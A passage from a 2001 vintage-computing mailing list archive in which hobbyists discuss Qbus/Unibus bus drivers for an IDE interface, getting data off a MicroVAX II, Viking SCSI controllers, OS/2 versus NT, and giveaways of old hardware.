"Hey if > it breaks they'll blame the BIOS or something so no worries!" > > --Chuck > > Then again, I've not done transmission line design in about 10yrs so if I'm > completely wrong you get your money back :-) > > > From pechter at bg-tc-ppp0.monmouth.com Fri Jun 29 08:01:41 2001 From: pechter at bg-tc-ppp0.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:04 2005 Subject: OS/2 In-Reply-To: <2739.580T1850T1985695optimus@canit.se> from Iggy Drougge at "Jun 29, 2001 03:18:37 am" Message-ID: <200106291301.f5TD1gr18998@bg-tc-ppp0.monmouth.com> > >Not if you have to use the GUI to admin it and reboot to change > >network addresses. > > You have to? I haven't used NT myself, but we all know about its OS/2 roots, > and it was developed by old VMS engineers. Yup... it's all done through GUI's and the ex-VMS folks didn't get the ok for command line admin until W2k began. > > >Getting a prompt and login from Telnet was possible on OS/2 when it > >wasn't standard in NT. > > Possible != standard. Yup... Possible=standard. You just have to enable it in the configs and have the services start at boot time. (They even can run out of inetd.conf.) OS/2 is pretty slick for an OS that runs Win apps. > > >The ftp and telnet servers made OS/2 pretty compatible to > >FreeBSD/Linux/Unix in what it could do on a lan. > > Dito for just about every OS made after 1975. ;-) > > >Miserable Redmond $%*s. > > Amen. > Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From engdahl at cle.ab.com Fri Jun 29 08:06:02 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers References: <1898.579T2050T1375603optimus@canit.se> <3B3BEBF5.723763D0@greenbelt.com> <3B3BF637.59F1B477@pacbell.net> Message-ID: <012301c1009c$40399be0$ac4099a1@rcs.ra.rockwell.com> Where did you find the Qbus proto board? -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl ----- Original Message ----- From: "Michael Davidson" > I am just about to embark upon designing a small qbus interface > card, and am trying to work out what to use for bus drivers and > receivers. From jhfine at idirect.com Fri Jun 29 08:11:27 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers References: <20010629061229.13683.qmail@web9502.mail.yahoo.com> <3B3C2266.460FCE0E@pacbell.net> Message-ID: <3B3C7E7F.A5458419@idirect.com> >Michael Davidson wrote: > Yes, I thought that a 74LS240 might be OK as a bus receiver so > this sounds plausible. Of course I could always just use 8641's > for everything but this would probably push the chip count up a > bit and right now it's looking as if space will be quite tight > on the particular prototype board that I'm thinking of using. Jerome Fine replies: I have been following this thread since your first post yesterday. What you seem to have omitted is the target interface. Maybe I am missing something, but is your target a serial port like a DL(V)11 or a disk interface - possibly raw SCSI (or now likely MSCP may be allowed since I understand that the patents expire this year)? >From my point of view, the other side of the fence is the software device drivers that will be required. If the Unibus/Qbus module emulates an existing DEC board, then there will already be software available to use it. In the past there has been some talk of a Qbus host adapter for both SCSI and IDE drivers which emulates MSCP. I don't know if Mentec acquired the rights to the MSCP patents, but if not then Compaq is not likely to care at this point and in any case if the patents for MSCP have expired, then there won't be a problem. By the way, if IDE drives are used, the idea was to place the drives right on the board since the 18" cable length limitation for a PC environment is likely to be exceeded in a Qbus enclosure. Just some thoughts which may be worth the cost of my time to write this? Sincerely yours, Jerome Fine From Robert_Feldman at jdedwards.com Fri Jun 29 08:56:52 2001 From: Robert_Feldman at jdedwards.com (Feldman, Robert) Date: Sun Feb 27 19:05:04 2005 Subject: HP Portable Vectra CS Model 20 Message-ID: I recently found an HP Portable Vectra CS Model 20 on top of a garbage container in the alley. I'm offering it to anyone who will pay for shipping (weighs about 15-20 pounds) or who can pick it up in Chicago. It lacks the battery pack, which apparently is where the external power (also missing) plugs in, so I do not know if it works. Otherwise, it appears to be in good condition. It has one 3.5" floppy and a hard drive of unknown size. Reply to Robert_Feldman@jdedwards.com. Bob Feldman From dittman at dittman.net Fri Jun 29 09:26:28 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:04 2005 Subject: VMS Condist for $10 act now In-Reply-To: <5.0.0.25.2.20010629003958.03220eb0@209.185.79.193> from "Chuck McManis" at Jun 29, 2001 12:40:41 AM Message-ID: <200106291426.f5TEQSX17811@narnia.int.dittman.net> > At 02:17 AM 6/29/01 -0500, you wrote: > > > > > > > > > Won't last the evening ... > > > >You're probably right. They usually go for quite a bit more, > >but this is from '94. > > Ah but it includes the OS CDs so you get both the layered products and the > OS, combine this with the Hobbyiest license and your rockin out with VMS. For the OS you can always order the OpenVMS Hobbyist CD and get V7.2, which is newer and has fewer problems. The eBay set has V6.0, which is way out of date and had quite a few bugs. If I were going to run a V6.x I'd want to run V6.2. I remember a few problems with V6.0 that were all "VMS Engineerings plans to address this in a future release". So the best option would be to use just the layered products from the eBay set and use the OpenVMS Hobbyist CD for the OS and the few newer layered products that are included on it. -- Eric Dittman dittman@dittman.net From petersd at SEDSystems.ca Fri Jun 29 09:39:28 2001 From: petersd at SEDSystems.ca (Dave Peters) Date: Sun Feb 27 19:05:04 2005 Subject: CD Writer for a uVax II References: <200106272205.f5RM5cF06442@shell1.aracnet.com> Message-ID: <3B3C9320.7F796FD2@sedsystems.ca> Thanks for the suggestion but I am tied to this system because of legacy hardware and software. I do need to be able to read the resulting CD-ROM on a non-VMS box so now I am thing the thing to do is to get the microVax II on a TCP/IP network and use TCP/IP to pull the data off. I understand that the DEQNA (later replaced by the DELNQ) board provides an ethernet interface but I am wondering where I could find TCP/IP compatible software for microVMS 4.6. I know multinet exists for openVMS but I have my doubts about it working with this old a version or VMS. any ideas about this approach? And you are right, I have two hard drives a RQDX3-AA with a RD54 (159 MB disk) and a RQDAE-FQ with a RD53 (79 MB disk) Dave healyzh@aracnet.com wrote: > > I am looking for way to get data out of a microVax II > > running microVMS 4.6 onto a CD ROM. > > > > The way I figure it if I can find a CD writer than works in > > that configuration I'm done. But I can't seem to find out > > whether this is even possible let alone where to buy a CD > > like this. Any suggestions? > > > > If the CD Writer is an impossibility then my next approach > > is the put a network interface on the uVax II and send the > > data I need to a more recent vintage. > > Unfortunatly you don't state what the resulting CD-ROM needs to be > readable on. > > If it needs to be an ODS-2 CD-ROM your best bet looks to be to obtain a > VMS box with VMS V5.4 or newer. Though from the looks of things it really > should have V6.2 or newer. You can then use the following to create a disk > image that you can then burn to CD-R on a PC, Mac, or Unix box. > http://www.openvms.compaq.com/freeware/FREEWARE50/LD063/ > > If you need to read the CD-ROM on a non-VMS box, then things are going to > get tricky. > > Also some information about the MicroVAX II itself would help. I assume > you've got RD5x drives on a RQDX3 controller? If you're lucky enough to > have a SCSI controller and have SCSI Hard Drives on the system then there is > another trick that should work as long as the disks are under 650MB. > > Zane -------------- next part -------------- A non-text attachment was scrubbed... Name: petersd.vcf Type: text/x-vcard Size: 271 bytes Desc: Card for Dave Peters Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/ad6603bf/petersd.vcf From mmcfadden at cmh.edu Fri Jun 29 09:55:14 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:05:04 2005 Subject: Old stuff found + help identifying... Message-ID: Joe and Carlos Actually I have two or three of the complete systems. And the cables and power bricks to go with them. I probably have 6-10 power bricks and ables to connect them to the modules. I also have the cables to connect terminals to the systems. The systems use x-bus to link the modules, they run CTOS, and were built by Unisys, Datapoint, Concurrent Technologies.. Pointer to FAQ about CTOS. www.cs.ruu.nl/wais/html/na-dir/computer/system/unisys/ctos.html I'll give them to you if you pay shipping from Kansas City. Mike >>A few days ago one of the storage rooms at the university >>was cleaned up and I grabbed all the computer-related stuff >>that I could. Not a lot of variety, though. Besides >>from the wintel carcasses and Mac plus remains, I found >>one Datapoint 1550 and several modules from a type system that >>I have never seen. The cpu, floppy disk drives and graphics >>modules snap onto each other's side very neatly. There are >>several of these systems, with the corresponding monitors and >>keyboards. Alas, the only power supply unit that I found >>is incomplete and badly damaged. Do you guys have some >>info about these systems? > Carlos, > I've seen a couple of systems made by Concurrent that look like >those. I think the Concurrents use a power supply brick that puts out >something like 36VDC. The power supplies seem to be scarce, i've only seen >one of them. I don't know anything else about the Concurrent systems, sorry. From David.Neal at ubsw.com Fri Jun 29 10:29:51 2001 From: David.Neal at ubsw.com (David.Neal@ubsw.com) Date: Sun Feb 27 19:05:04 2005 Subject: CD Writer for a uVax II In-Reply-To: <3B3C9320.7F796FD2@sedsystems.ca> Message-ID: CMU IP works on this set up ( well, does on mine anyway ) ______________________________ Reply Separator _________________________________ Subject: Re: CD Writer for a uVax II Author: petersd (petersd@SEDSystems.ca) at unix,mime Date: 29/06/01 15:39 Thanks for the suggestion but I am tied to this system because of legacy hardware and software. I do need to be able to read the resulting CD-ROM on a non-VMS box so now I am thing the thing to do is to get the microVax II on a TCP/IP network and use TCP/IP to pull the data off. I understand that the DEQNA (later replaced by the DELNQ) board provides an ethernet interface but I am wondering where I could find TCP/IP compatible software for microVMS 4.6. I know multinet exists for openVMS but I have my doubts about it working with this old a version or VMS. any ideas about this approach? And you are right, I have two hard drives a RQDX3-AA with a RD54 (159 MB disk) and a RQDAE-FQ with a RD53 (79 MB disk) Dave healyzh@aracnet.com wrote: > > I am looking for way to get data out of a microVax II > > running microVMS 4.6 onto a CD ROM. > > > > The way I figure it if I can find a CD writer than works in > > that configuration I'm done. But I can't seem to find out > > whether this is even possible let alone where to buy a CD > > like this. Any suggestions? > > > > If the CD Writer is an impossibility then my next approach > > is the put a network interface on the uVax II and send the > > data I need to a more recent vintage. > > Unfortunatly you don't state what the resulting CD-ROM needs to be > readable on. > > If it needs to be an ODS-2 CD-ROM your best bet looks to be to obtain a > VMS box with VMS V5.4 or newer. Though from the looks of things it really > should have V6.2 or newer. You can then use the following to create a disk > image that you can then burn to CD-R on a PC, Mac, or Unix box. > http://www.openvms.compaq.com/freeware/FREEWARE50/LD063/ > > If you need to read the CD-ROM on a non-VMS box, then things are going to > get tricky. > > Also some information about the MicroVAX II itself would help. I assume > you've got RD5x drives on a RQDX3 controller? If you're lucky enough to > have a SCSI controller and have SCSI Hard Drives on the system then there is > another trick that should work as long as the disks are under 650MB. > > Zane Visit our website at http://www.ubswarburg.com This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message which arise as a result of e-mail transmission. If verification is required please request a hard-copy version. This message is provided for informational purposes and should not be construed as a solicitation or offer to buy or sell any securities or related financial instruments. From aw288 at osfn.org Fri Jun 29 10:41:30 2001 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 19:05:04 2005 Subject: Free Thinking Machines CM-5 Message-ID: Well, one cabinet of a CM-5. Stripped, too. Basically, it is somewhat like three standard 19" racks welded together. About 7 feet tall. Heavy as sin. No skins. Interesting provenence - it was one of the two machines used in Jurrasic Park. The blinkenlights panels will be removed to populate (and the extras to pay for) another CM-5. Located in either Providence, RI (if you pick it up *really* soon), or Carmel, NY. William Donzelli aw288@osfn.org From h.wolter at sympatico.ca Fri Jun 29 10:48:08 2001 From: h.wolter at sympatico.ca (Heinz Wolter) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers References: <20010629061229.13683.qmail@web9502.mail.yahoo.com> <3B3C2266.460FCE0E@pacbell.net> <3B3C7E7F.A5458419@idirect.com> Message-ID: <0e5801c100b2$e500d420$3a92a8c0@MAGGIE> I've not used them myself, But a friend wirewraped some custom unibus D/As. He used 4000 series CMOS parts (4049/69 ?) or the tristate equivalents. I don't know about the drive capability of those parts - I'd suggest LS240/244s. Alternately you could use a DR11 or QBUS equivalent (I think it has NPR dma), if 16 bits in, 16 bits out are enough to run an IDE drive. Regards, Heinz Wolter ----- Original Message ----- From: "Jerome Fine" To: Sent: Friday, June 29, 2001 9:11 AM Subject: Re: Unibus / Qbus bus drivers and receivers > >Michael Davidson wrote: > > > Yes, I thought that a 74LS240 might be OK as a bus receiver so > > this sounds plausible. Of course I could always just use 8641's > > for everything but this would probably push the chip count up a > > bit and right now it's looking as if space will be quite tight > > on the particular prototype board that I'm thinking of using. > > Jerome Fine replies: > > I have been following this thread since your first post yesterday. > What you seem to have omitted is the target interface. Maybe > I am missing something, but is your target a serial port like a > DL(V)11 or a disk interface - possibly raw SCSI (or now likely > MSCP may be allowed since I understand that the patents > expire this year)? > > From my point of view, the other side of the fence is the software > device drivers that will be required. If the Unibus/Qbus module > emulates an existing DEC board, then there will already be software > available to use it. > > In the past there has been some talk of a Qbus host adapter for > both SCSI and IDE drivers which emulates MSCP. I don't know > if Mentec acquired the rights to the MSCP patents, but if not > then Compaq is not likely to care at this point and in any case > if the patents for MSCP have expired, then there won't be a problem. > > By the way, if IDE drives are used, the idea was to place the drives > right on the board since the 18" cable length limitation for a PC > environment is likely to be exceeded in a Qbus enclosure. > > Just some thoughts which may be worth the cost of my time to > write this? > > Sincerely yours, > > Jerome Fine > From fmc at reanimators.org Fri Jun 29 10:55:42 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:05:04 2005 Subject: A little HP9877 info In-Reply-To: ard@p850ug1.demon.co.uk's message of "Thu, 28 Jun 2001 23:50:38 +0100 (BST)" References: Message-ID: <200106291555.f5TFthH73738@daemonweed.reanimators.org> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > If the 9815 encoding is idential physically the 9825 one (that is to say, > a 9815 tape read at the 9825 speed contains the data encoded as above > with the same frequencies as the 9825 uses) then the 9877 can read it. If > not, then IMHO it can't. And since the 9815 and 9825 tape controllers are > very diferent, I think it's unlikely that the 9877 (which uses a > controller that's essentially the same as the 9825 one) can handle 9815 > tapes. Pity. Here's a snippet from _Mid-Range Calculator Delivers More Power at Lower Cost_, by Douglas M. Clifford, F. Timothy Hickenlooper, and A. Craig Mortensen, in the June 1976 HP Journal: "...It was determined that a level of performance below that of the 9825A Calculator (see article, page 2) would be adequate, so the search speed was reduced to 60 ips and the read/write speed to 10 ips. The recording density was set at 500 bits per inch. Because of these reduced demands all of the encoding and decoding of the bits can be done in firmware. Also, a frequency-lock control loop is used for the motor control instead of a more costly dc servo (more about this later)." Does that give you any clues? Unfortunately I don't think it says anything about the recording density of the 9825 tapes. -Frank McConnell From fmc at reanimators.org Fri Jun 29 10:45:17 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:05:04 2005 Subject: CD Writer for a uVax II In-Reply-To: Dave Peters's message of "Fri, 29 Jun 2001 08:39:28 -0600" References: <200106272205.f5RM5cF06442@shell1.aracnet.com> <3B3C9320.7F796FD2@sedsystems.ca> Message-ID: <200106291545.f5TFjIP73478@daemonweed.reanimators.org> Dave Peters wrote: > provides an ethernet interface but I am wondering > where I could find TCP/IP compatible software > for microVMS 4.6. I know multinet exists for > openVMS but I have my doubts about it working with > this old a version or VMS. any ideas about this approach? Multinet's been through two changes of corporate ownership since then (TGV, Cisco, Process Software). You could try asking the folks at Process Software but I would be surprised if they were able to help. There's also the CMU TCP/IP, which is available on the net. It was always explained to me as something that would put hair on your palms but that could be because I worked at Wollongong. I have been mostly successful at avoiding direct personal experience of VMS since 1991 or so, so don't have any personal experience with it. All that said, a little bit of webulating put me at where you can find a version that claims to support VMS 4.4 to 4.7. -Frank McConnell From michael_davidson at pacbell.net Fri Jun 29 11:01:37 2001 From: michael_davidson at pacbell.net (Michael Davidson) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers References: <20010629061229.13683.qmail@web9502.mail.yahoo.com> <3B3C2266.460FCE0E@pacbell.net> <3B3C7E7F.A5458419@idirect.com> Message-ID: <3B3CA661.266441C9@pacbell.net> Jerome Fine wrote: > > I have been following this thread since your first post yesterday. > What you seem to have omitted is the target interface. Maybe > I am missing something, but is your target a serial port like a > DL(V)11 or a disk interface - possibly raw SCSI (or now likely > MSCP may be allowed since I understand that the patents > expire this year)? No, you aren't missing anything ;-) I didn't mention what the target interface was - it is, in fact, IDE - and the thread on that topic (from some time last year, I think) is how I found this mailing list when I did a search to see if anyone had already done this. Interestingly, I think that I had already been over a lot of the ground that was covered in that thread before I discovered it. My first idea was to use a DRV11-W which I already have and to build a suitable interface board to go between it and the IDE bus. Once I looked at this more closely I came to the conclusion that this was probably more trouble than it was worth and that it might actually be easier to just build a (non-DMA) Qbus to IDE interface from scratch. Looking at this idea in more detail it became apparent that it would need almost no additional interface logic beyond what was provided in a standard set of DEC bus interface chips (DC003, DC004, DC005) or their equivalent implemented in discrete bus transceivera and logic cloned from a typical DEC Qbus interface. All you need to do is to add 16 bits worth of tristate bus transceivers to drive the IDE data bus, provide a couple of latches for the low order address bits, and generate the IDE bus DIOR and DIOW read and write strobes at the appropriate times. (Fortunately the Qbus data setup and data hold times at the slave device are sufficiently generous that it looks as if it should be very easy to generate DIOR and DIOW from BDIN and BDOUT gated with the appropriate decoded addresses) > From my point of view, the other side of the fence is the software > device drivers that will be required. If the Unibus/Qbus module > emulates an existing DEC board, then there will already be software > available to use it. The intention is that this will be an almost direct mapping of the IDE interface, which will appear as 8 word addressable registers corresponding to the IDE command register block. Since I am mainly interested in running old UNIX systems the idea is to add support for this new IDE interface to the Supnik emulator running on Linux and then do the necessary driver development work there under the emultor. Once that is done you just copy the emulator disk image onto an IDE drive and move it across to the real hardware. > In the past there has been some talk of a Qbus host adapter for > both SCSI and IDE drivers which emulates MSCP. I don't know > if Mentec acquired the rights to the MSCP patents, but if not > then Compaq is not likely to care at this point and in any case > if the patents for MSCP have expired, then there won't be a problem. I'm not really interested in MSCP - I only ever worked on fairly early low-end Qbus and Unibus systems all of which pre-dated MSCP so I don't know much about it, but it seems like overkill for what I want. > By the way, if IDE drives are used, the idea was to place the drives > right on the board since the 18" cable length limitation for a PC > environment is likely to be exceeded in a Qbus enclosure. Enclosure??? Who said anything about an enclosure? ;-) (Well, actually one of my Qbus backplanes *is* in a BA11 box ...) I agree that the 18" IDE cable length makes things tight, but I can't see myself putting a drive on the board itself since I was hoping to get this whole thing on a dual height card and I just don't see there being enough room even for a PC card form factor drive. (of course I suppose I could just use a Compact Flash memory card ...) I should probably add that another motivation for doing this would be to hook up an LS120 drive to give me some removeable storage that's more convenient than my dual RX02's. > Just some thoughts which may be worth the cost of my time to > write this? Thanks, I appreciate the information and advice. Michael From mjsnodgr at rockwellcollins.com Fri Jun 29 10:59:48 2001 From: mjsnodgr at rockwellcollins.com (mjsnodgr@rockwellcollins.com) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? Message-ID: I've got a MCA SCSI controller that I'm not using. It came to me in a box of MCA and EISA stuff and was working when it was pulled from it's machine. I was hoping to get an EISA SCSI controller.. Hmmm... if anyone in interested in a swap.... - Micah S. mjsnodgr@rockwellcollins.com SUPRDAVE@aol.com@classiccmp.org on 06/28/2001 02:49:20 PM Please respond to classiccmp@classiccmp.org Sent by: owner-classiccmp@classiccmp.org To: classiccmp@classiccmp.org cc: Subject: Re: Whats a reasonable collection? In a message dated 6/28/01 1:46:05 PM Central Daylight Time, mikeford@socal.rr.com writes: << >Only thing I don't like is a lack of fast SCSI cards. I have all kinds >of good scsi cards for my EISA computer, but not my Microchannel. I SCSI MCA cards are so common in the systems I find I don't bother to keep them anymore. Want to explain the above so I understand what to look for? >> there's plenty to choose from, scsi with or without cache, or you can even get some of the better scsi controllers out of the 9595 models. I have several non IBM MCA SCSI adaptors which Ive installed in some pre-existing SCSI-equipped PS2s just so I have a standard external connector to work with. Those IBM external cables are getting hard to find. From allain at panix.com Fri Jun 29 11:05:55 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:05:04 2005 Subject: CD Writer for a uVax II References: <200106272205.f5RM5cF06442@shell1.aracnet.com> <3B3C9320.7F796FD2@sedsystems.ca> Message-ID: <011901c100b5$615dc3a0$8a0101ac@ibm23xhr06> I have an external SCSI TK50 (TK50Z?) and an internal mVAX TK50. Anyone ever used these off of PeeCee architecture? John A. From cisin at xenosoft.com Fri Jun 29 11:16:03 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:05:04 2005 Subject: WTB: 8" floppy In-Reply-To: <004101c10053$3cfd3fc0$9cc762d8@idcomm.com> Message-ID: On Thu, 28 Jun 2001, Richard Erlacher wrote: > The power requirements are the same, i.e. the DC supplies work for any > of them, though not all drives require the negative supply, but the > connectors for AC are often different for DS drives than for SS > drives. Siemens FD800-2's are notable exceptions. NOT ALL 8" drives have the same power requirements! Check the power requirements and pinouts CAREFULLY before connecting! Drives WILL be damaged if you connect "connectors that fit" without confirming that the drive uses the same voltages on the same pins. From healyzh at aracnet.com Fri Jun 29 11:38:46 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:05:04 2005 Subject: CD Writer for a uVax II In-Reply-To: <3B3C9320.7F796FD2@sedsystems.ca> References: <200106272205.f5RM5cF06442@shell1.aracnet.com> Message-ID: >Thanks for the suggestion but I am tied to this >system because of legacy hardware and software. > >I do need to be able to read the resulting CD-ROM >on a non-VMS box so now I am thing the thing to do is to >get the microVax II on a TCP/IP network and use >TCP/IP to pull the data off. I understand that the >DEQNA (later replaced by the DELNQ) board >provides an ethernet interface but I am wondering >where I could find TCP/IP compatible software >for microVMS 4.6. I know multinet exists for >openVMS but I have my doubts about it working with >this old a version or VMS. any ideas about this approach? > >And you are right, I have two hard drives a >RQDX3-AA with a RD54 (159 MB disk) >and a >RQDAE-FQ with a RD53 (79 MB disk) As others have pointed out, about you're only hope for a TCP/IP stack is CMU-IP. Hopefully it works for MicroVMS and not just plain VMS. Multinet only supports V5.5-2 and newer. I'm starting to think that if you've got a spare serial port in the system you might actually want to consider Kermit. Believe it or not, Kermit is still around and still being developed, and it's probably the better solution for what you're trying to do (however, I've got to confess I don't know anything about it, other than what it is). Since this system obviously serves some important purpose, *please* say you're doing backups of those drives to tape! If you're not backing them up, please figure out how to! If you are backing them up I'm assuming you're doing it to TK50 tapes. If this is the case you could buy (very cheaply) something like a MicroVAX 3100 with a TZ30 drive, and have it running a modern version of VMS which could more easily do what you want. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From healyzh at aracnet.com Fri Jun 29 12:00:28 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:05:04 2005 Subject: Viking SCSI controller secrets? In-Reply-To: <5.0.0.25.2.20010628220842.01edc9f0@209.185.79.193> Message-ID: >Is there some secret lore about Viking SCSI controllers that I need to get >them to work? The first thing you'll want to do is look here ftp://zane.brouhaha.com/pub/dan/viking_scsi/ >I've got a Viking QDT (dual wide Disk and Tape) that has V1.5 of the >firmware. When I plug it into my VAX with two RZ55's in an expansion >cabinet and type SHO DEV (MV3500) it says: >UQSSP Disk controller (177xxx) > -? > >Then finds the TK70 and adds > >UQSSP Disk controller (xxxxx) > -? > >Its not exact but basically the system knows I've got an MSCP disk >controller and a second TMSCP tape controller and when it asks them what >devices they have attached the Viking seems to be answering ("I don't know.") > >Now if I hook it up to a box that had a couple of MO drives in it (an old >Aspire cabinet) then it reports DUA0 (@0) and DUA1 (@0) and no tape (as >expected, and it doesn't even print the -?) > >I don't have the funky cable to get to the RS232 port (although the Aspire >box does, it doesn't seem to work correctly) > >Questions: > 1) If I build a funky cable, which three wires do I use? > 2) Shouldn't it just work? OK, I'm getting really suspicious here after having read this whole thing. I take it that the Aspire box came with the Viking board? What exactly does the firmware say? BTW, the latest version of Viking Firmware I've seen is V3.7, however, it sounds like you've might have Alphatronix Firmware. I'm more than a little confused by the cable question. You should have a 50-pin cable going from the Viking board, to the RS232 block, and from it you should have another 50-pin cable going to any drives. Also, what SCSI ID's are the RZ55's at? Make sure they're between 0-3. One word of warning, my VAXen don't rate Vikings, they're reserved for my PDP-11's :^) So I've never tried using a Viking with a VAXen. Although both my PDP-11/44 and PDP-11/73 use them (in the case of the /44 with RZ55's). Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From korpela at ellie.ssl.berkeley.edu Fri Jun 29 12:08:27 2001 From: korpela at ellie.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 19:05:04 2005 Subject: OS/2 In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715126E@jeffserver.tegjeff.com> from Douglas Quebbeman at "Jun 29, 2001 09:00:10 am" Message-ID: <200106291708.KAA11114@ellie.ssl.berkeley.edu> [Charset iso-8859-1 unsupported, filtering to ASCII...] > > I'd say the Workplace Shell is a problem in itself. It's so > > very IBM-ishly unelegant. > > Stardock added plenty of elegance to WPS... but they got screwed > by IBM dropping out, like other OS/2 ISVs... > > If you haven't seen Object Desktop for OS/2, I'll see if I > can dig up some screen shots to point you at... Has anyone tried OD for Windows? Is it much like the OS/2 version? Screenshots of it are at http://www.stardock.com/ I'm really waiting for Galactic Civilizations to be released. That's what I mostly used OS/2 for. From dittman at dittman.net Fri Jun 29 12:15:27 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3CA661.266441C9@pacbell.net> from "Michael Davidson" at Jun 29, 2001 09:01:37 AM Message-ID: <200106291715.f5THFRR18478@narnia.int.dittman.net> > I didn't mention what the target interface was - it is, in fact, IDE > - and the thread on that topic (from some time last year, I think) is > how I found this mailing list when I did a search to see if anyone > had already done this. Have you looked at the schematics and drivers for the Ukranian QBUS IDE interface? > I agree that the 18" IDE cable length makes things tight, but I can't > see myself putting a drive on the board itself since I was hoping > to get this whole thing on a dual height card and I just don't see > there being enough room even for a PC card form factor drive. > (of course I suppose I could just use a Compact Flash memory card ...) You could use one of the IBM Microdrives in that case. That would be kind of interesting. Small, fast, and removable. I've been thinking of building the Ukranian IDE adapter. If I do, I am thinking of building it on a quad card and putting the drive on the CD side to use it with my Q-CD backplane. I'd put the DZQ11 and DELQA above the card so there will be two empty CD slots above the drive. > I should probably add that another motivation for doing this would > be to hook up an LS120 drive to give me some removeable storage > that's more convenient than my dual RX02's. Now that would be handy. If I could just find a good, MSCP QBUS SCSI card I'd not need to bother, though, but they are hard to find and expensive. I'd trade my space Alphastation 200 4/233 for one. -- Eric Dittman dittman@dittman.net From fernande at internet1.net Fri Jun 29 12:24:42 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? References: Message-ID: <3B3CB9DA.AE0A7BE5@internet1.net> What is the brand is it? Is it Wide or narrow? What do you need in the way of an EISA SCSI board? I have a couple 174x series from Adaptec that aren't doing anything. Chad Fernandez Michigan, USA mjsnodgr@rockwellcollins.com wrote: > > I've got a MCA SCSI controller that I'm not using. It came to me in a box > of MCA and EISA stuff and was working when it was pulled from it's machine. > I was hoping to get an EISA SCSI controller.. Hmmm... if anyone in > interested in a swap.... > > - Micah S. From optimus at canit.se Fri Jun 29 08:20:20 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:05 2005 Subject: Back from the fleamarket In-Reply-To: <20010629055600.61498.qmail@web9507.mail.yahoo.com> Message-ID: <2477.580T1000T8604821optimus@canit.se> Ethan Dicks skrev: >--- Iggy Drougge wrote: >> I went on a shopping spree at the fleamarket today (well... =). >> The card I bought is made by Novell, and has got the serial number 89935 >> and the application number 5657. Those numbers are noted with a marker pen. >> The words "BOARD 738-61-001 REV B" are screened onto the board. The board >> itself is a small eight-bit ISA card without any connectors (save for the >> ISA card- edge, of course). The construction is quite simple, consisting of >> four 74LS chips (one 7407N and three 74LS244N), a PAL, an AMD AM25LS2521PCB >> (another >> 74LS chip?) and a big gob of glue which conceals another chip. That's it, >> apart from some discrete components. Bruno told me that it's some kind of >> diagnostics card, but not exactly what kind of diagnostics card. >I think it's a hardware key for some kind of Novell software. Oh my, how useful. OTOH, it just might be, since I got an ancient copy of Netware this week. There must be some higher power which is trying to coerce me into running Netware. >> Then he had a KA410-A board, which my research tells me is either a ?VAX >> 2000 or a VAXstation 2000. >The difference is a jumper - enable the onboard frame buffer and look for >a keyboard/mouse or ignore the frame buffer and expect there to be a level >converter on the keyboard/mouse port and provide 4 TTYs. I don't suppose one could use the monitor/keyboard/mouse cable of a VAXstation II GPX? Are there any pinouts for the PSU out there? Is there ay suitable replacement? Also, is there any chance that the Ethernet is disabled? I read somethiung to that effect but don't know how to tell. At least it's got a small chip which claims to contain the MAC address. >> It's just a card and nothing else, though. I don't >> suppose it's really feasible to construct a working system out of it? My >> friend bought it for the SCSI chip, which he intends to use in order to >> repair a Supra Amiga SCSI controller. >I'll trade you a 5380 chip for the uVAX board! No desoldering required! If only we weren't on separate continents. =) Since it's really my friends, he'll take some coercing. -- En ligne avec Thor 2.6a. Amiga IFF (8SVX): This is the dominant [sound] format on the Commodore Amiga platform. It can specify an arbitray sampling rate but ony supports mono 8-bit sounds. It also supports a 2-to-1 lossy compression format which uses a unique Fibonacci-delta compression algorithm. From optimus at canit.se Fri Jun 29 08:21:27 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:05 2005 Subject: Whats a 